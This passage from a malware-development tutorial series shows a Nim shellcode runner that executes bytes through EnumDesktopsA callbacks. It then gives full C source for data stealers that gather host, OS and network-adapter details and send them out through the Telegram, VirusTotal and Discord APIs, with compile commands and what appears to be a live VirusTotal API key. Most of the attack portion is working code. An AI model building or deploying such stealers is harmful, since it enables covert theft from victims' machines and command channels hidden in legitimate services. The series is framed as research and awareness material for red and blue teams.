0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x4
0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d
0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]

let mem = VirtualAlloc(


NULL, cast[SIZE_T](payload.len),
MEM_COMMIT, PAGE_EXECUTE_READWRITE
)
RtlMoveMemory(
mem,
unsafeAddr payload[0],
cast[SIZE_T](payload.len)
)
EnumDesktopsA(
GetProcessWindowStation(),
cast[DESKTOPENUMPROCA](mem),
cast[LPARAM](NULL)
)
As usual, I used meow-meow messagebox payload:
let payload: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b
0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41,
0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20,
0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0x
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20,
0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6,
0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44,
0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40,
0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff
0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49
0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x4
0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d

414
0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]

demo
Let’s check it in action. Compile it:
nim c -d:mingw --cpu:amd64 hack.nim

Then, just move it to the victim’s machine (Windows 11 in my case) and run:
.\hack.exe

As you can see, everything is worked perfectly also for Nim language =.. =!
Malware development trick 20: Run shellcode via EnumDesktopsA, C example
source code in github

415
51. malware development trick. Stealing data via legit Telegram
API. Simple C example.

In one of my last presentations at the conference BSides Prishtina, the audience asked
how attackers use legitimate services to manage viruses (C2) or steal data from the
victim’s host.
This post is just showing simple Proof of Concept of using Telegram Bot API for stealing
information from Windows host.

practical example
Let’s imagine that we want to create a simple stealer that will send us data about the
victim’s host. Something simple like systeminfo and adapter info:
char systemInfo[4096];

// get host name


CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR

// get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);

// get system information


SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

416
// get logical drive information
DWORD drives = GetLogicalDrives();

// get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}

snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n" // Use %s for CHAR
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion,
osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

// Add IP address information


for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
But, if we send such information to some IP address it will seem strange and suspicious.
What if instead you create a telegram bot and send information using it to us?
First of all, create simple telegram bot:

417
As you can see, we can use HTTP API for conversation with this bot.
At the next step install telegram library for python:
python3 -m pip install python-telegram-bot

418
Then, I slightly modified a simple script: echo bot - mybot.py:
#!/usr/bin/env python
# pylint: disable=unused-argument
# This program is dedicated to the public domain under the CC0 license.

"""
Simple Bot to reply to Telegram messages.

First, a few handler functions are defined. Then, those functions are passed to
the Application and registered at their respective places.
Then, the bot is started and runs until we press Ctrl-C on the command line.

Usage:
Basic Echobot example, repeats messages.
Press Ctrl-C on the command line or send a signal to the process to stop the
bot.
"""

import logging

from telegram import ForceReply, Update


from telegram.ext import Application, CommandHandler, ContextTypes,
MessageHandler, filters

# Enable logging
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
# set higher logging level for httpx to avoid all GET and POST requests being logged
logging.getLogger("httpx").setLevel(logging.WARNING)

logger = logging.getLogger(__name__)

# Define a few command handlers. These usually take the two arguments update and
# context.
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /start is issued."""
user = update.effective_user
await update.message.reply_html(
rf"Hi {user.mention_html()}!",
reply_markup=ForceReply(selective=True),
)

async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:


"""Send a message when the command /help is issued."""

419
await update.message.reply_text("Help!")

async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:


"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)

def main() -> None:


"""Start the bot."""
# Create the Application and pass it your bot's token.
application = Application.builder().token("my token here").build()

# on different commands - answer in Telegram


application.add_handler(CommandHandler("start", start))
application.add_handler(CommandHandler("help", help_command))

# on non command i.e message - echo the message on Telegram


application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))

# Run the bot until the user presses Ctrl-C


application.run_polling(allowed_updates=Update.ALL_TYPES)

if __name__ == "__main__":
main()
As you can see, I added printing chat ID logic:
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)
Let’s check this simple logic:
python3 mybot.py

420
As you can see, chat ID successfully printed.
For sending via Telegram Bot API I just created this simple function:
// send data to Telegram channel using winhttp
int sendToTgBot(const char* message) {
const char* chatId = "466662506";
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,


WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}

hConnect = WinHttpConnect(hSession, L"api.telegram.org",

421
INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST",


L"/bot---xxxxxxxxYOUR_TOKEN_HERExxxxxx---/sendMessage", NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}

// construct the request body


char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);

// set the headers


if (!WinHttpSendRequest(hRequest,
L"Content-Type: application/x-www-form-urlencoded\r\n", -1,
requestBody, strlen(requestBody), strlen(requestBody), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

printf("successfully sent to tg bot :)\n");


return 0;
}
So the full source code is looks like this - hack.c:
/*
* hack.c
* sending victim's systeminfo via
* legit URL: Telegram Bot API
* author @cocomelonc
*/
#include <stdio.h>

422
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>

// send data to Telegram channel using winhttp


int sendToTgBot(const char* message) {
const char* chatId = "466662506";
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_N


if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}

hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);


if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot----TOKEN----/sendMessage


if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}

// construct the request body


char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);

// set the headers


if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n",
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);

423
WinHttpCloseHandle(hSession);

printf("successfully sent to tg bot :)\n");


return 0;
}

// get systeminfo and send to chat via tgbot logic


int main(int argc, char* argv[]) {

// test tgbot sending message


char test[1024];
const char* message = "meow-meow";
snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
sendToTgBot(test);

char systemInfo[4096];

// Get host name


CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR

// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);

// Get system information


SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

// Get logical drive information


DWORD drives = GetLogicalDrives();

// Get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}

snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n" // Use %s for CHAR
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"

424
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

// Add IP address information


for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}

char info[8196];
snprintf(info, sizeof(info), "{\"text\":\"%s\"}", systemInfo);
int result = sendToTgBot(info);

if (result == 0) {
printf("ok =^..^=\n");
} else {
printf("nok <3()~\n");
}

return 0;
}

demo
Let’s check everything in action.
Compile our “stealer” hack.c:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -liphlpapi -lwinhttp

425
And run it on my Windows 11 VM:
.\hack.exe

If we check traffic via Wireshark we got IP address 149.154.167.220:


whois 149.154.167.220

426
As you can see, everything is worked perfectly =.. =!
Scanning via WebSec Malware Scanner:

https://websec.nl/en/scanner/result/45dfcb29-3817-4199-a6ef-da00675c6c32
Interesting result.
Of course, this is not such a complex stealer, because it’s just “dirty PoC” and in real
attacks stealers with more sophisticated logic are used, but I think I was able to show
the essence and risks.
I hope this post with practical example is useful for malware researchers, red teamers,
spreads awareness to the blue teamers of this interesting technique.
Telegram Bot API
https://github.com/python-telegram-bot/python-telegram-bot
WebSec Malware Scanner
source code in github

427
52. Malware development trick. Stealing data via legit VirusTotal
API. Simple C example.

Like in the previous malware development trick example, this post is just for showing
Proof of Concept.
In the practice example with Telegram API, the attacker has one weak point: if the
victim’s computer does not have a Telegram client or let’s say that messengers are gen-
erally prohibited in the victim’s organization, then you must agree that interaction with
Telegram servers may raise suspicion (whether through a bot or not).
Some time ago, I found a some interesting ideas of using VirusTotal API for stealing and
C2-control logic. So, let’s implement it again by me.

pracical example
The main logic for stealing system information is the same as in the previous article.
The only difference is using the VirusTotal API v3. For example, according to the
documentation, we can add comments to a file:

428
As you can see, we need SHA-256, SHA-1 or MD5 string identifying the target file.
For this reasson just create simple file with the following logic - meow.c:
/*
* hack.c
* "malware" for testing VirusTotal API
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/06/25/malware-trick-41.html
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
As usual, this is just meow-meow messagebox “malware”.
Compile it:
x86_64-w64-mingw32-g++ meow.c -o meow.exe -I/usr/share/mingw-w64/include/
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

429
And upload it to VirusTotal:

https://www.virustotal.com/gui/file/379698a4f06f18cb3ad388145cf62f47a8da2285
2a08dd19b3ef48aaedffd3fa/details
At the next step we will create simple logic for posting comment to this file:
#define VT_API_KEY "VIRUS_TOTAL_API_KEY"
#define FILE_ID "379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa"

// send data to VirusTotal using winhttp


int sendToVT(const char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,


WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}

hConnect = WinHttpConnect(hSession, L"www.virustotal.com",

430
INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v3/files/"


FILE_ID "/comments", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}

// construct the request body


char json_body[1024];
snprintf(json_body, sizeof(json_body),
"{\"data\": {\"type\": \"comment\", \"attributes\": {\"text\": \"%s\"}}}",
comment);

// set the headers


if (!WinHttpSendRequest(hRequest,
L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt v.1.0\r\nAccept-Encoding: gzip, deflate\r\nCo
-1, (LPVOID)json_body,
strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);


if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
}

DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS,
WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("comment posted successfully.\n");
} else {

431
printf("failed to post comment. HTTP Status Code: %d\n", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf("WTF? unknown error: %s\n", buffer);
LocalFree(buffer);
}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

printf("successfully send info via VT API :)\n");


return 0;
}
As you can see, this is just post request, in my case file ID = 379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b
So the full source code is looks like this:
/*
* hack.c
* sending systeminfo via legit URL. VirusTotal API
* author @cocomelonc
* https://cocomelonc.github.io/malware/2024/06/25/malware-trick-41.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>

#define VT_API_KEY "7e7778f8c29bc4b171512caa6cc81af63ed96832f53e7e35fb706dd320ab8c42"


#define FILE_ID "379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa"

// send data to VirusTotal using winhttp


int sendToVT(const char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_N


if (hSession == NULL) {

432
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}

hConnect = WinHttpConnect(hSession, L"www.virustotal.com", INTERNET_DEFAULT_HTTPS_PORT, 0)


if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v3/files/" FILE_ID "/com


if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
}

// construct the request body


char json_body[1024];
snprintf(json_body, sizeof(json_body), "{\"data\": {\"type\": \"comment\", \"attributes\":

// set the headers


if (!WinHttpSendRequest(hRequest, L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt v.1.0\r\nAc
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);


if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());
}

DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, W
if (code == 200) {
printf("comment posted successfully.\n");
} else {
printf("failed to post comment. HTTP Status Code: %d\n", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;

433
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESS
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf("WTF? unknown error: %s\n", buffer);
LocalFree(buffer);
}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

printf("successfully send info via VT API :)\n");


return 0;
}

// get systeminfo and send as comment via VT API logic


int main(int argc, char* argv[]) {

// test posting comment


// const char* comment = "meow-meow";
// sendToVT(comment);

char systemInfo[4096];

// Get host name


CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR

// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);

// Get system information


SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

// Get logical drive information


DWORD drives = GetLogicalDrives();

// Get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;

434
}

snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"OS Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

// Add IP address information


for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}

int result = sendToVT(systemInfo);

if (result == 0) {
printf("ok =^..^=\n");
} else {
printf("nok <3()~\n");
}

return 0;
}
This is also not such a complex stealer, because it is just a “dirty PoC” and in real attacks,
attackers use stealers with more complex logic.
Also, as you can see, we haven’t used tricks here like anti-VM, anti-debugging, AV/EDR
bypass, etc. So you can add them based on my code if you need.

435
demo
Let’s check everything in action.
Compile our “stealer” hack.c:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-liphlpapi -lwinhttp

And run it on my Windows 11 VM:


.\hack.exe

436
As you can see, a test comment meow-meow was created but the comment with system
information did not appear because initially the code was separated by a \n symbol and
not a comma, but I corrected everything and everything worked:

So, our logic worked perfectly!


If we run it on my Windows 10 VM:
.\hack.exe

437
And monitoring traffic via Wireshark we got an IP address 74.125.34.46:
whois 74.125.34.46

438
As you can see, everything is worked perfectly and this is one of the virustotal servers
=.. =!
As far as I remember, I saw an excellent implementation of this trick by Saad Ahla
I hope this post with practical example is useful for malware researchers, red teamers,
spreads awareness to the blue teamers of this interesting technique.
VirusTotal documentation
Test file VirusTotal result: comments
WebSec Malware Scanner
Using Telegram API example
source code in github

439
53. malware development trick. Stealing data via legit Discord Bot
API. Simple C example.

In the previous examples we created a simple Proof of Concept of using legit C2-
connections via Telegram Bot API, VirusTotal API for “stealing” simplest information
from victim’s Windows machine.
What about next legit application: Discord and it’s Bot API feature?

practical example
Many of yours may think that I am simply copying the same code, please note that this
is only for understanding the concepts. First of all create Discord application:

Called meow-test in my case.


As you can see, discord generated app ID and token, we will need APPLICATION_ID
later:

440
Within your application, create a bot user with full permissions:

441
442
As you can see, we have obtained a token for the bot. So, according to the documentation,
we need the following logic for sending messages:
#define DISCORD_BOT_TOKEN "your discord bot token" // replace with your actual bot token
#define DISCORD_CHANNEL_ID "your discord channel id" // replace with the channel ID where yo

// function to send a message to discord using the discord Bot API


int sendToDiscord(const char* message) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;

443
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
return 1;
}

hConnect = WinHttpConnect(hSession, L"discord.com",


INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}

hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v10/channels/"


DISCORD_CHANNEL_ID "/messages", NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

// set headers
if (!WinHttpAddRequestHeaders(hRequest, L"Authorization: Bot "
DISCORD_BOT_TOKEN "\r\nContent-Type: application/json\r\n", -1,
WINHTTP_ADDREQ_FLAG_ADD)) {
fprintf(stderr, "WinHttpAddRequestHeaders. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

// construct JSON payload


char json_body[1024];
snprintf(json_body, sizeof(json_body), "{\"content\": \"%s\"}", message);

// send the request


if (!WinHttpSendRequest(hRequest, NULL, -1, (LPVOID)json_body,
strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);

444
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

// receive response
BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. error %d has occurred.\n", GetLastError());
}

DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS,
WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("message sent successfully to discord.\n");
} else {
printf("failed to send message to discord. HTTP status code: %d\n", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf("unknown error: %s\n", buffer);
LocalFree(buffer);
}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

return 0;
}
In your Discord server, navigate to the channel where you want your bot to send mes-
sages. Right-click on the channel name, select Copy ID or Copy Link in my case
(discord in browser), and you’ll have the channel ID:

445
The full source is looks like this (hack.c):
#include <stdio.h>
